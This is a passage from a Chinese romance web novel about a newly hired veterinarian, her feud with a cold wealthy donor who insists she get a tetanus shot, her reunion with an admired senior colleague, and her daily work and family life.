梁时言顺着看过去,一眼发现了目标,随后直起身,四周看了看,然后十分不耐烦地抬手扯了黑色领带,抽下来一圈圈绕住手掌,俯身下去,只用两根手指,轻松提了上来。
“就这破玩意,值得你回来找吗?”他提到她面前。
美妙一把抓回去,仰头道:“你才破。”
她懵了,只觉得耳朵两边嗡嗡响,一股热血直冲上头,走出去两步,心里气不过,又转回头气势汹汹地说:“我说你住大别墅了不起呀?有钱了不起啊?你以为你是谁?乱说话乱评价,你看你才破呢,无敌破!”
说完犹不解气,对着垃圾桶哐哐踢了两脚,扭头就走。
梁时言愣住,感觉脸上落上几星“雨点”。
他像被施了定身咒,足足顿了好几秒,然后以一种极其缓慢、慢镜头般的动作,极其僵硬地、带着点难以置信,抬起了左手。
手指先是迟疑,然后抹了抹脸颊,垂眸盯着指尖,半天没动静。
虽然挂件失而复得,但美妙觉得心里堵得慌,像塞了一团棉花,头盔也忘了戴,车把上粘了血渍,她低头一看,拿手抹抹,手指腻腻乎乎。
她骑着小电驴,蓬松的羊毛卷发尾往后飘,一边风驰电掣,一边眼泪就不受控地往下掉。
这个点又到了早高峰,都忙着赶路,没人注意她,经过几个路口,情绪也跟着慢慢稳定下来,真是有够的。
她嫌弃地拿手背抹了抹眼角,觉得自己有点丢人。看了看时间还来得及不会迟到,这才拿出头盔,戴上后安心等红灯,人也跟着倒计时沉静下来。
“喂!”
只听旁边有人喊。
美妙跟着循声转头,只见护栏外侧停着一辆车,后排车窗缓缓降到底,她又听到一声喂,只见“没梁心”正侧头看着她,问说:“挨骂的人是我,你哭什么?”
简直冤家路窄。
美妙几乎无语,这人简直岂有此理,这是上杆子跑来嘲笑吗,她实在不想跟这种人多说一句,简直一秒不愿多呆,跟他共处一片天空,都觉得污染。
她剜了他一眼,扭扭车把,挪旁边去了。
梁时言拧拧眉。
绿灯一亮,他的车开走了。
美妙冲着远去的车尾狠狠鄙视了一番。
今天还好出门早,正式上班第一天总算没迟到。
医院最重要的大晨会没人敢晚到。科室里的老同事早早就去了,还有几个正在囫囵吞枣用早膳,先打卡,再换衣服,最后揣好笔记本,也没时间收拾手指,美妙随着大部队,往会议室走。
昨天就听说今天总院长要来,所以会议室应该不好找位置,因为不仅各科室主任医生、主治医生到齐了,连他们这种小卡拉米也悉数到齐。
美妙进到会议室,果然蓝汪汪一片,全是人。
杨帆
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还算有同窗之谊,替她占了位置,两人坐在一块,会议很快开始。议程过半的时候,美妙注意到,领导们在前面讲话,前面的几个护士小姐姐,一个个,直伸着脖子往最前面看。
观察了一会。
她悄声问杨帆:“她们看啥呢?”
杨帆双手抱胸,整个人靠在靠背上,颇不以为然:“看人呗。”
怎么听着酸溜溜的,美妙好奇心起,也伸着脖子往前看:“到底谁呀?”
杨帆没接话,低着头,注意到她歪歪着的手指,“手怎么了?”
“没事。”美妙摊开笔记本继续记笔记,结果正事结束后,台上无缝接入了全院统一思想环节,她又把本合上了。
“到底谁呀?”
杨帆斜白她一眼,不说话。
美妙:“嘁。”
“你那手赶紧处理处理,拿手术刀的人怎么能弄伤手指呢,小心被主任骂。”
“不怕不怕。”美妙直直腰,一副认真听讲的模样,“一会儿我就说被狗咬了,工伤。”
杨帆:“……?”
他又被逗笑,忽然意识到场合不对,忙垂下头闭嘴。
忽然一道税利的目光扫过来,总院长从落座就一直留意着下面,见他没正行即刻用眼神教训。
杨帆忙收起嘴角,正襟坐好。
晨会结束后,接下来就是集体大查房,一帮人前仆后继,领导们在前,小虾米们殿后,又蓝泱泱涌进住院部。
美妙紧紧跟在邹主任屁股后面,颠颠一小时,一口气认识了科室住院部三十多名需要呵护的新老病号们。与之前实习简单的轮岗不同,这些都是实打实,要她负责到底的宝贝们。
等大佬们撤了。
美妙站在住院部门口,对着手机疯狂码字,往群里汇报查房晨检信息。这时两个护士,“嗖”地从她身边一左一右同时钻出去,一脸兴奋往隔壁病区跑。
美妙吓一跳,忙移到旁边,边打字边纳闷:“怎么了?”
又有一名护士从身后出来,邀请她:“美医生,我们去隔壁看帅哥,你要不要一起去?”
“帅哥?”美妙想想还是算了吧,心说帅又怎样,该冷血冷血该惹人嫌还是惹人嫌,她笑笑回说:“你们去吧。”
护士小姐姐一溜烟跑了。
没一会儿,三个人又慌里慌张地折回来,一股脑挤在美妙身边。
美妙这会正检查汇报内容,抽空抬头,“怎么啦?”其中一个小护士眼神兴奋地飘着,示意她往右边看,美妙循着视线扫了一眼,不就是一帮长腿男医生嘛。
三条腿的蛤蟆是异宝,两条腿的男性满地跑。
她低下头,手指按上发送键。
“美妙。”一道温朗的声音喊她。
美妙从手机屏幕上抬头,一席白衣朝她走来,也许因为他太出众,也许藏在脑子里的细节太多,即使戴着口罩,换了新发型,只一眼,她还是第一时间在人群中认出了他。
“师兄。”她讶异。
苏屹温文尔雅地停在她面前,两年未见,他笑眼温和,一如从前。
5. 第 5 章
美妙急急地问:“你怎么在这里?”她快速瞄眼他的胸牌,又惊又喜,“师兄,你真的回来了,你怎么会来我们医院?”
又问他:“你什么时候回来的?”
问题一个接一个。
直到发觉苏屹露出略略好笑的神情,美妙才住嘴,不好意思地笑了笑,有点囧。
苏屹回答她:“我回来了,还是觉得祖国好,所以…“他指着自己胸牌,“都是新同事,请多关照。”
他居然记得自己今年毕业。
美妙笑笑,有点傻的说了句,“我也觉得国内好。”她没过去国外,到过最远的地方是有一年春节一家人坐飞机到海南的小渔村走亲戚。
“你手怎么了?”苏屹的目光落在对面端着打字的手上。
“没事。”美妙翘食指自己看看,有点不好意思,“早上不小心划到了。”
苏屹正忙没再多聊,临走时说了句:“一会儿到办公室找我。”
美妙:“噢。”
也不知道师兄什么意思,她鼓鼓脸颊,低头瞧了瞧手指,心里碰碰的,再抬头,苏屹已经走远了。
苏屹比美妙大两届,毕业后直接出国工作,两人在学校时几乎没有交际,甚至连认识都算不上,因为同为邹文昌的学生,所以后来偶尔会在实验室碰到,那也只是点头之交,彼此知道名字而已,苏屹只要来周围总是围着人,尤其是学弟学妹,邹文昌学生很多,但苏屹是这些人里最最优秀那种,很多人仰慕他,一点不奇怪。
目送新任院草走远,护士小姐姐们忙围过来,好奇地问:“美医生,你认识新来的苏医生?”
美妙被这突如其来的热情吓到,呆楞一瞬才点点头:“认识,他跟我一个学校毕业,比我大两届。”
“哇好厉害呀,这么年轻已经是副主任医师啦。”
“真的吗?”
美妙望着已经空无一人的走廊,她刚才没细看胸牌上的职位,没想到他已经这么厉害了,才毕业两年而已,但苏屹一向如此,无论走到哪里,永远惹人瞩目,永远出类拔萃。
“当然了,我刚才看得可仔细。那他现在有女朋友吗?”
“呃…”这问题拐的弯有点大,美妙觉得尴尬,只能如实相告:“不好意思,这个我不知道。”
护士小姐姐顿时没了兴趣,失望地互看一眼,然后说了句那美医生你忙,很快消失了。
美妙:“……”
她没工夫聊天,手上工作一堆,等忙完有时间去神经科,已经是两小时后。她从住院部出来,在楼梯口遇到从电梯出来的杨帆,用脚指头想想,也知道他因为晨会的事被院长修理了。
美妙调侃他:“怎么样,院长办公室的茶好喝吗?”杨帆回她一个白眼,见她脚步不停往别的科室走,喊她:“你干嘛去?”
美妙脚下没停,“去——”师兄没说找她干嘛,随意糊弄他,“我去隔壁取取经。”
杨帆冷嗤一声,眼见美妙越走越远,最后一转竟然真的往神经科方向去了。
他不信美妙也跟别的小护士一样急赶着去看新来的帅哥,美妙不是花痴,这一点他很清楚,因为他本人就足够帅,系草级别。
不过,只一个晨会而已,他每当两天的院草宝座就被新来的神经科医生抢走了,真是有够郁闷。感觉也没比自己帅啊,这帮护士真是见异思迁,简直岂有此理,这让杨帆很生气。
美妙在神经科门诊转了转,找到苏屹的门牌,又对着上面的头衔沉默了,等了一会儿,问诊室门开,从里出来一只大橘,家长回身冲里面说了句什么,然后笑眯眯地走了。
然后美妙见到清俊雅致的师兄,他走出来。
苏屹:“进来吧。”
美妙随他进去,问他:“不耽误你问诊吗?”
苏屹转身关了门,“不会,两分钟就行。”他走向办公桌,语气温和,像接待患者家长,“你坐。”
美妙拉过凳子,坐在诊台对面。
苏屹的诊台整齐干净,电脑桌面也轻轻爽爽,忽然想到刚才护士的八卦,美妙眼睛不自觉看向侧面的电脑旁,保温杯旁边,摆的是一张单人毕业照。
苏屹:“把手放上来。”
美妙一回神,发现面前的诊台上多了一瓶碘伏。
苏屹又从旁边拿出一样东西,“手。”
“噢。”美妙应一声,将手放在诊台上。
苏屹自然地翻看她食指,半响后抬眸看过来:“玻璃划的?”
0.01秒短暂对视之后,美妙把视线移到手指上:“嗯,伤口不深,也没见到泥土金属什么的。”
苏屹笑笑,松开她手指拧开碘伏盖子,边用伏给她清洗,边问:“不想打破伤风?”
美妙笑笑,本来就是嘛,何必浪费医疗资源。
美妙默默盯着苏屹,一个人怎么能优秀到连发稍、眼睫毛都这么好看,连手指都这么白皙修长,相形见绌之下,她有点后悔来之前没好好擦护手霜。
苏屹忽然松开手:“好了。”
美妙一低头,发现手上缠了一圈宠物绷带。
她动动手指,很灵活,“谢谢师兄。”
这时,敲门声响了两下,有名医助探头进来。
美妙忙站起来:“不耽误你看诊。”
苏屹点了下头,继续看诊了。
美妙揣着兜回到科室,从包里翻出护手霜,报复性地挤了一大坨,等擦完后对自己的一双鸡爪满意多了,杨帆从病房回来:“怎么还捯饬上了?”
“你们男生还化妆呢,我一女的精致精致手怎么了?”
“谁给你包的?”杨帆走到她身后,眼尖的发现宠物绷带,包的这么精致,以她对美妙的了解,她干不出来。
美妙举着手再次欣赏:“你猜?”
说完没再搭理他,收拾收拾忙去了。
杨帆:“……”
他拉开椅子不屑地坐下:“包的一点不好看,还粉色猫爪,俗。”
美妙跟着主任接诊,快到中午又收了一个病例,一直忙到下午两点。期间给自己点了一份一份外卖,外卖送来后,她边吃麻辣香锅边给好朋友陈佳佳发消息。
她昨天还关心她来着。
美妙:【你猜我今天碰到谁了?】
陈佳佳刚采访结束也在进食,回得飞快:【钻石王老五,黄金单身汉,阿联酋王子?】
真是不厌其烦,昨天也是这套。
去你的,美妙叼着筷子,两手打字:【我碰到师兄了。】
陈佳佳:【哪个师兄?】
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美妙:【我还有几个师兄,跟你说过的就一个。】
陈佳佳回了个狗头表情包:【瞧你那点出息。】
立刻叮嘱她:【这回你可要抓住机会。】
看到回复,美妙咬藕片的动作慢下来,这一口嚼了很久,她慢慢地打字:【他刚回国,我还不知道什么情况呢。】
陈佳佳替她着急:【你管他呢,就算订婚了也能分手。】
那我可干不出来。
美妙独立惆怅了一会儿,回了一个挠头的表情包,陈佳佳那头估计也忙,没再回她。美妙默默扒完饭,收拾了垃圾,起身去门诊找主任。他们上午收了一只长了肿块的猫,按照规定,她要去请示一下,要不要做穿刺,然后沟通家长。
邹文昌还在吃饭,外卖盒还堆在桌上,面对面请示后,他说:“你自己决定。”
“啊?”
美妙蒙圈了,她一个出师无名的小透明决定个屁哦。一是没这权利,而是自知能力还没达到,如果做穿刺会加快肿瘤进展,不做呢,又无法初判断肿瘤性质,这是一个两难的选择。
等半天邹文昌不发话。
她试探地说:“那我回去再翻翻书?”
邹文昌抬头,手还夹着筷子:“昨天开晨会的时候不是挺有能耐,什么都会?”
美妙:“……”
看猪跑跟自己亲自跑能一样吗,那不是专业书上写的有嘛。
邹文昌抬高音量:“怎么不说话?“
美妙抿抿嘴,肩膀更加耷拉了。
见火候差不多了,邹文昌循循善诱:“做临床不光要学技术,还要多学沟通技巧。像今天这个病例,初步怀疑肿瘤,从初次接诊就一定要和家属提前沟通到位,把风险点及医生的建议给到家长。至于到底要不要做穿刺,你应该沟通家长,由家长决定,而不是来问我。”
是她本末倒置了。
轮岗实习的时候光跟在教学后面干活了,没人像主任似的肯手把手教,还给她讲道理讲缘由。
美妙乖乖点头:“知道了主任。”
邹文昌被气笑,刚才还生龙活虎,这会儿跟蔫猫似的。
他摆摆手:“去吧,先跟家长沟通。”
美妙点点头,准备马上跟家长联系,所以老老实实退了出来。走到门外又想起什么,推开门缝只探一颗脑袋进来,问邹文昌:“老师,你知道师兄也来咱们医院了吗?”
邹文昌没好气,反问说:“你说呢?”
美妙知道自己问了句废话,师兄跟老师时间比自己长,感情自然不一般,怎么可能不知道。而且老师是管理层,消息渠道非普通员工可比。
邹文昌见她不走:“还想问什么?”
美妙鼓鼓勇气,纠结半响张开两片唇:“那个……”唉!算了,实在开不开嘴。
“没事了。”她又没出息地合上了门。
邹文昌却从门缝喊她:“等等。”
美妙心头一喜,难道要主动爆料师兄的情况,连忙推开门,“怎么了主任?”
“顺便帮我把垃圾带出去。”他提着吃剩的外卖垃圾。
美妙:“……”
师命难违!
她接住空余香味的辣子鸡,心说幸亏您吃的不是螺蛳粉。
6. 第 6 章
邹文昌正准备眯一会儿,刚靠上椅子,没想到门又开了,又是学生那张清澈倔倔的脸,他皱眉道:“又有什么事?”
美妙眨眨眼睛:“主任,师兄的女朋友也是宠物医生吗?”
邹文昌:“出去!”
美妙早有心里准备,麻溜关上门,溜了溜了。
看来主任也不知道,不知道就说不知道发什么火,她这不是替护士小姐姐们问的么。
她丢了垃圾,双手插兜晃悠着下楼,到楼梯拐角一眼看到伟岸的院长大人,之前最终面试时见过,今天早上晨会又远瞻一面,本人又高又宽,挺亲切一老头。
本想过去亲切地打个招呼,一看院长旁边还有别人,等看清那人的长相,美妙立刻给自己下了禁足令。
她从白大褂里掏出手机,装作回消息的样子,低着头静等院长先下去。
没想到院长也看到了她,笑眯眯地摆摆手:“小美医生。”
美妙嘴角略僵,这下不得不过去,只好抬头笑着,装作刚看到领导的样子,大方的过去:“院长好!”
院长脸上挂着温和的笑:“怎么样,工作还适应吧。”
“嗯嗯,挺好的。“她回着话,把院长身边的冰块脸当透明,没看一眼。
梁时言略觉无语。
这位美医生,早上先是上门骂人,之后毁坏他家的垃圾桶,然后一边骑电车一边飚眼泪,这会儿又眉开眼笑。
院长出来送客人,无意间看到美妙包扎的手指,于是当着甲方的面关怀员工:“手怎么了?”
美妙噢了声,略迟疑,然后撇一眼那边的巨型冰块,想也没想就回答:“被狗咬的。”
梁时言:“……”
说他是狗?
他嘴角莫名扯了下,没说话。
院长就说工作还是要小心一些,一定记得打疫苗,美妙点点头。
他又开始教导:“掰安瓿也要小心,咱们好些护士被玻璃割伤,也要及时打破伤风针,这个咱们今天的晨会上,咱们给员工一再强调。”
美妙不住点头,不过还是感觉有点头晕,这等于又听了一遍晨会。
当然,护士小姐姐也十分辛苦。
美妙回着话:“嗯嗯嗯。”恰好对上梁时言淡淡扫过来的眼神,她冷酷地横过去,以眼还眼。
这时台阶下完各走各路,美妙转脸笑看院长:“院长,那我先去忙了。”
没管那人什么反应,她径直离开。
杨院长满意地点点头,“这个小美医生很不错,成绩好人也机灵,老邹啊,就是给舒克做手术的邹主任,今年就收了她一个徒弟。”
梁时言没说话,原本淡淡的目光聚焦,望了眼逐渐走远的小白背影。
一经过人多的候诊大厅,本就人高马大的杨院长,都不自觉挺了挺腰杆,因为梁时言的长相气场太过显眼,原本散在四处闹哄哄的人们不自觉被吸引,身边立刻安静不少,以两人为中心直径几米内一片寂静,和前面排队取号的闹哄队伍完全成了反比。
以院长的资历他本可以不送人下楼,梁时言在圈子里是个神仙人物,为人低调很少露头,今天亲自见了,这人话确实不多,也只在谈到项目业务时才多摊几句,但也只是点到为止。
他的第一感觉,这个人不好接触。若不是要成立动物救助基金会的事,他也没机会接触本人,理事会正为资金筹集头痛,没想着一个电话就解决了,更没想到本人也亲自来了。想到这大笔颇为慷慨的捐款,杨院长道谢:“没想到款项这么快到账了,我替毛孩子们,谢谢您。”
院长一激动,便要伸手帮梁时言开车门。
梁时言拦了:“院长客气了。”
开门的瞬间,他手顿了下,忽然问:“玻璃划伤必须打破伤风针吗?”
不知梁时言为何对这感兴趣,院长迟疑了下,谨慎地说:“如果被生锈的金属或者不干净的木屑刺伤,或泥土污染过的伤口,即使小伤也要重视。一旦发病,基本无药可救。”
梁时言略略点头。
这边美妙回到科室,正抱着手机跟家长沟通是否做穿刺,但家长心疼猫猫还在犹豫,美妙只好耐心沟通,等着结果。
听到外头有人喊她:“美妙医生,有人找。”
美妙闻声转头,恰和门口来人对上视线。
她一怔,随即从椅子上站起来。
没完了是吧。
她把手机揣兜里,走过去,先跟护士长打了招呼,然后转脸对上来人,不客气地说:“请问有事吗?”
护士长左看右看,忽然有点闹不明白两人的关系,正好这会不忙,八卦之心熊熊燃起。
男人问:“你叫美妙?”
“不然呢,你记我名字干嘛?”新来的小医生不甘示弱。
护士长:……不认识?
继续闷不吭声看好戏。
梁时言稍稍沉默了一下,直接说正事:“你打破伤风针没?”
美妙没料到他会问这个,略怔了一下回答,“没。”
梁时言凝了凝眉头,缓了缓,然后用一种平淡不容置喙上位者的语气,说:“去打一下,费用我结。”
我凭什么听你的,一听之下美妙简直莫名奇妙。
“没必要,忙着呢。”她转身就往工位走,拒绝的意思很明显。
护士长默默瞧着两人,实在更摸不透俩人的关系。小情侣闹别扭?不对呀,这不刚刚还问名字。这位好像是远启生物的梁总,她刚才听院长简单提了下,她胡乱猜测着两人的情况,眼神不由自主落在这位大佬身上,果然如传闻中一样极品。
穿着白衬衫黑西裤,身量极高,一手插兜看着美医生,手背清瘦白皙,银色袖扣冷白低调,整个人都透着股冷冽的淡香,气场强大,浑身上下都写着,生人勿近四个字。
还有:丑人勿视。
护士长不小心咽了咽口水,视线刚要偷偷上移到侧脸,却见正主移动,跟着美妙进去,“必须去,万一你死了我还要负连带责任。”
美妙转回身,又好笑,又觉得他多事:“我死了关你什么事,你那么怕我死啊?”
说完自己一楞,这话怎么这么别扭。
梁时言:“怕。”
美妙一噎,抬头看看他。
梁时言也看着她。
其实两人距离不算近,之间足有两米,但就这么对视,对面高海拔
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带来的压迫感兜头而来,美妙坚持莫名想赢的心态,一秒,三秒,五秒,心念莫名倒塌,她在这幽深沉静深不见底的瞳仁里败下阵来。
几乎是下意识,她忽然偏头,敷衍道:“打吧打吧。”
反正她没打过,就当上个保险。
门口护士长一听,“那跟我走吧,美医生。”
美妙本想跟着去,又发现自己怎么这么弱,心念一转,随即转了个身,双手抄兜,一屁股坐下了,不慌不忙地说:“要打就在这儿打,不然不打。”
然后晃了晃鼠标。
梁时言顿了顿。
他冷静的回头,对护士说:“麻烦你了,就在这里打。”
护士长噗嗤笑出声,随即托着治疗盘进来:“美医生把裤子脱一下,屁股针。”
“啊?”美妙腾地站起来,脸一下通红,耳朵像被火烧,下一秒便目不斜视直直往门外溜,“出去打出去打。”跑的比谁都快。
护士长打针的手法固然熟练,但美妙却结结实实要挨针,从小怕打针的她根本不敢看针管,歪着头,感觉冰凉的酒精棉在屁股上转圈。心里一紧。
就听到护士长边进针边问:“你俩什么关系?”
她一边忍着不敢动,一边忍着酸胀痛,一边艰难地说:“我压根…不认识…他。”
“啊?”护士猛一拔针,动作变了形,忙用棉签按住前缩的注射点,不好意思地说:“不疼吧?”
美妙嘶嘶抽冷气,声音短促几乎要冒汗,“没事。”
“美医生,每个人体质不同,你以前打过没?”护士长还在找补。
“没。”美妙自己按住棉签,没想到这么疼。
“你真不知道他是谁吗?”
“不知道…就是送病号的时候见过。”
护士长噢了声,慢慢悠悠开始收托盘。
美妙穿好裤子,吁一口气,拉开门,歪歪扭扭地走出去,门外梁时言竟然还没走,立在处置室旁边。
她瞥他一眼:“这下死不了啦,你满意了吧?”
事情毕竟因他而起,梁时言轻描淡写,“抱歉。”
除了抱歉,还有别的吧,一句谢谢不会说。
美妙走近些,真是有点好奇这人的脑回路,仰着脸问他:“我救你一命记得吧?不该先说声谢谢吗?”
空腹健身后没吃上早餐,低血糖而已。
梁时言略扬了扬眉梢,自己下巴现在还有点别扭,话也冷淡,“你不救我也能缓过来。”
“嘿!”
今天还真遇上不讲理的,美妙一呆,简直无语望天。
惹不起躲得起。
她彻底没话了,别过脸,转身走了。
梁时言转过身,看她渐渐走远:“我叫梁时言。”
美妙头都没回,白大褂底下一双黑色洞洞鞋,脚尖有点内八,明显忍着疼,像一只在滚烫沙地上急于逃离的鸟,越走越快。
“我管你叫梁时言还是阎王爷——关我屁事。”
有人听着声看过来,护士长也出来了。
梁时言忽然卡顿,意识到自己想笑,瞬间收了脸,随即若无其事地调转视线,转身,往另条通道走了。
7. 第 7 章
下午五点,美妙终于做通病号猫咪的家长工作,顺顺利利回了差事。
因猫咪穿刺的位置不好,难度比较大,她还没资格动手,只能在老手旁边老实观摩学习,检测报告也申请了加急,这也要等到第二天才出结果。
美妙将这只名叫棉花的三岁缅因猫安顿进病房,等下班走出医院,皎洁的月亮已经爬到半空。
夜风吹过,树影丛丛,高处的树叶摆动,地上的阴影无声摇晃着,空旷安静的院区里,绿化带树丛藏着不知什么虫,吱吱吱,不知疲倦地叫着。
三楼住院部,窗户透着明亮灯光。
她暗暗祈祷明天的检查结果,棉花的肿瘤是良性的。
医院围墙外的城市并未沉睡,街道繁忙热闹,高楼的霓虹牌闪烁,彩色的光晕与红绿灯辉映,加班回家的车辆来往穿梭,电动车也不少。
轮胎碾过减速带,就这么咯噔一下,美妙“嘶”一声。
一路回家,一直小心保护着一侧屁股,只着力用另一边支着座,这下彻底破防,她吸着凉气,将梁时言骂了一遍。
曲折的一天终于结束,到家吃过饭,洗过澡,吹着冷嗖嗖的空调,美妙靠着抱枕,窝在毯子里发呆。心说当社会人果然累,跟吃嘛嘛香的学生完全不同,简直不在一个星球,当学生每天只需要傻呵呵,除了学习啥心也不用操。
当社会人……可惨多了。
正胡思乱想着。
“叩叩——”两声敲门声。
美景山推开虚掩的门,端着一盘苹果进来,“上班累了吧?”
“还行吧。”美妙慢吞吞坐起来。
“屁股怎么了?”美景上看她支着一边屁股,慢慢挪。
“没事,就是打了一针破伤风…这不上班要接触注射剂,提前打上当预防。”
她从递过来的盘里抓了一块苹果,不想让老美担心,提起自己的开心事,“爸爸,我挂件找到了。”
美景山果然被转移视线,“在哪里找到的?”
实在没脸说寻找过程,美妙伸手从旁边椅子上搭的牛仔裤里掏出小象给爸爸看,“就车棚找到了,有点脏就是。”
她到家前提前把手上的绷带拆了,怕老美问。
“那爸爸帮你洗洗,明天重新挂上?”
“哎呦,我的——好爸爸!”
美景山实在没眼看她演戏,面上无语地摇头,但心里十分受用,说干就干,就要拿着挂件走。
美妙眉眼弯弯,一天的坏情绪全消散,咬了口苹果块:“爸爸,你怎么从来不问这挂件哪来的,你不好奇?”这要是搁沈文芳那,非刨根问底不可。
不过,沈文芳没爸爸心细,也发现不了这些。
挂件是两年前参加师兄的毕业宴送的,去的人都有。
见女儿吃完一块,美景山递盘子过去:“我管它从哪里来的,我女儿喜欢就行。”
美妙一听,一激动,拿着苹果就要故技重演,“哎呦——”刚出口,就被美景山拦住,“差不多行了,别演了。”
美妙嘿嘿笑,“那……您藏私房钱的事,我就不告诉我妈了。”
“嘘。”美景山警惕地看向门口,“小声点,你妈在外面看电视呢。”说到钱,美景山低声问她:“你考证报完名,兜里没钱了吧?”
美妙笑着低下头,觉得不好意思。
老爸还真了解他,报名费足足花了她三万,一夜之间,掏空靠奖学金打零工几年才攒下的小金库,她现在妥妥的一级贫困户,就等着月底发工资。
美景山从兜里掏出一个红包。
“喏,钱不多你拿着。”
“爸,我吃住都在家里用不着。”美妙心里过意不去,家中财政大权被老妈牢牢掌控,要多久老美同志才能攒够这些,她摇摇头,“我不要。”
过了一会。
门被轻轻带上,美妙默默望着床头柜上的一沓现金,叹了口气。
老美存这点零花钱不容易,她又难过,心底又觉得酸酸的甜蜜。
一夜无梦,就是偶尔翻身的时候屁股痛。
第二天早上。
一家三口围着餐桌吃早饭,油条稀饭煎蛋。
沈文芳又从冰箱拿出半颗咸鸭蛋,唠叨着说:“老美,你今天买的油条不行,软不说个头还小,一看就是别人挑剩下的,你去的也不晚呀?”
美景山喝口粥,扭头看旁边的美妙,“你给爸评评理。”
美妙:“……”
她从框里夹了一根油条出来,上上下下品鉴一番,今天的油条确实有点缩水,但她昨晚刚收老爸好处,实在不好开口。
又看了老美一眼,“其实还…好吧。”
“那是你好说话,我要去买他们可不敢这么糊弄我。”对面的沈文芳十分不屑。
美妙立马拱手:“还是您厉害!”
见女儿快吃完,美景山起身到阳台取了洗干净的挂件,放到桌上。
“谢谢爸爸。”
洗干净的蓝色小象重新挂包上,连包都看着美貌多了,美妙换好鞋,包往肩上一背。兜里的手机“叮咚”一声有消息进来,她拿出来看了眼,是一条好友添加申请。没管,直接锁屏,回头招呼爸妈:“我走啦!”
到了医院美妙不放心,跟主任查完房后提前去了一趟实验室,缅甸猫的检测报告果然还没出来。等到中午估摸着出来了,她踩着点去窗口取,这会儿不少同事都在,一堆人挤在窗口,一看到她便自动围了上来。
美妙:“?”
有点害怕,小退了半步。
“美医生,昨天我们可都看见了。”有人笑嘻嘻地开口。
“男朋友帅的惨绝人寰,干嘛的呀?”有人附和。
“是呀,多大,干嘛的?”有人接上。
弄得美妙满头问号,她从兜里掏出凭条,眼神清澈,“你们说谁呢?”
“说你呀……”住院护士凑近些,有点吃味地说,“昨天我们好多人都看到了,就在处置室那块。”
“打个针还全程盯着,多宠啊。”
这下美妙听明白了。
“他……我…”她一时着急,说不清,从头说堪比老太太的裹脚布,于是直截了当,“我打个针,跟他没关系。”
“我反正不认识他,昨天碰到纯属意外。”她又补了句。
然后给窗口递单子,斩钉截铁:“没关系。”
护士长也过来取单子,正好听了半耳朵,凑过来给瓜:“昨天那极品帅哥是院长客人,不认识美医生。”
一帮人:“……”
忽然都不激动了,包围圈哗啦一下散开。
美妙笑了笑。
有个小护士昨天没看到,就问:“这人有新来的苏医生帅吗?”
护士长听了差点没翻白眼,顺带回忆了一下,重新陷进去:“不在一个量级。”
小护士就很失落:“早知道昨天不换班。”
美妙简直傻眼
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。
帅又不能当饭吃。
护士长啧了声:“而且比苏医生还高,简直了。”
小护士嗐了声:“失策失策…”
美妙:……
高又不能当甘蔗啃,刚这么想着,搁在窗台上的手机叮咚一声,她捞起来看,又是一条好友申请。
这回内容比早上多了两个字。
她低头冷笑,你多加俩字我就能同意啦,舒克嘎蛋蛋在外科做的,关我肿瘤科什么事,也用不着我回访服务。
没多想,手指一点——拒绝。
“干嘛不通过,谁啊?”杨帆的脸忽然从身后探过来,鬼探头一般。
“你猫啊?”美妙锁屏手机,顺势插兜里,随口回他,“没谁,微商,卖袜子的。”
杨帆:“你缺袜子啊?”
美妙:“我缺钱。”
杨帆笑了笑,扭脸看了眼刚刚解散的八卦队伍,“你们刚才聊谁呢,那么热闹?”
“没谁。”美妙轻描淡写。
“又没谁?”杨帆挑着眉,明显不相信。
这时报告单打印好了。
美妙接住报告单,是良性的,她瞬间心安,准备去找主任商量治疗方案的事,好心问他:“你去不去?”
杨帆心不在焉,懒散地看了眼美妙的手,发现那丑绷带终于不见了,问她:“手好了?”
美妙嗯了声,边走边问:“你真不去?”
杨帆站着没动。
谁没事整天去主任面前晃悠,有事狗血淋头,无事被旁人溅一身血。他自己,连带整个科室包括老员工在内,哪个不是能躲就躲,挨骂不说,干的活也多。
也就美妙,挨了主任骂一点事没有。
傻呆呆一个。
美妙不知道背后有人嘀咕她,一个人去了。
这只缅因猫棉花的情况比较特殊,上次面诊时邹文昌也有担心。不过它才三岁,手术这关比较好熬,预计恢复期也短,检查结果也还不错。美妙汇报了自己的治疗方案,询问邹文昌的意见,邹文昌点点头,意思是同意了。
美妙就征求意见:“那我先联系家长,约过来面谈?”
邹文昌又点点头,有点孺子可教的意思,“可以。”
美妙正一正神色,有点受鼓舞,“主任那我忙去了。”
邹文昌:“回来。”
不行吗,忽悠我?
美妙身形一顿,缓缓转回去,“怎么了?”
邹文昌就笑她,没说话,拉开抽屉拿了一袋东西出来,搁桌角,“你师娘给你的。”
美妙眼睛一亮,就打开袋子捏起来一条,它静静地躺在透明的包装袋里,坚硬扎实,辣椒粒和自然顺着纹理均匀的附着,一看就是好牛,很惊喜,“师娘的手好了吗?”
主任的家在外地,读研的时候妻子过来看他,就住在学校家属楼,学生们经常看到两人在傍晚的校园散步,那时候大家都被实验折磨得不行,都说看来邹大拿把一生的温柔,都留给了师娘。给他们的,只有严厉。
邹文昌难得挂着笑,关了抽屉,“那你说的药方试了试,好多了。”
听到这个,美妙就舒一口气,家里沈文芳退休后爱研究民间偏方,她自己包括几个邻居阿姨们吃了有用,她听说了这才建议师母试试,并没有把握。
“那就好,您替我谢谢师母。”
一包牛肉干揣兜里,美妙走起路来,感觉屁股扎针的地方都不怎么疼了。
8. 第 8 章
不过一回到办公室,她就开始发愁。
想到那位矜贵优雅,拎着爱马仕包包的女士,直觉她不会同意给缅因猫做手术,前天沟通穿刺都花了不少口舌,电话那头心疼的不得了,微信更是沟通了几十个来回,更别说做手术了。
还是微信先约了面谈时间,美妙起身去住院部看棉花。
棉花用上药,状态明显好多了,进食也有改善,打开笼子,美妙摸了摸缅因猫浅灰褐色的柔软猫毛,棉花瞄一声,乖巧地蹭着她手背。
美妙把它抱出来:“棉花真乖。”
旁边新来的小护士说:“美医生家里没养宠物吗?”兽医基本人手一只宠物,有的好几只。
其实她养过一只兔子。
小学六年级,那时候周末跟着老美逛早市,花了一块钱零用钱,带回了菜摊上一只染了黄毛的小白兔,她还记得那时候带回家,姐姐说兔子拉屎多,不让她养,她就偷偷藏在床底下,放学后就去花坛里找草。
那兔子很长寿,一共活了六年。
她记得是中考出成绩的早晨,当得知考上重点高中后,它在阳台,离开了这个世界。
自那之后,美妙再没养过宠物。
她接过护士递过来的针管,对准后就将药剂缓慢推了进去,棉花居然不吭不哈。
小护士一脸惊艳,“昨天那个谁,三个人替他抓着打针,我差点被挠。”
“还有刚才,喂药的时候我手差点没了,幸亏戴了手套。”
美妙笑了下,安抚地摸了摸棉花的头,趁它还没反应过来,抱着送回笼子关了门。
是杨帆吧。
护士怕得罪人没敢说名字。
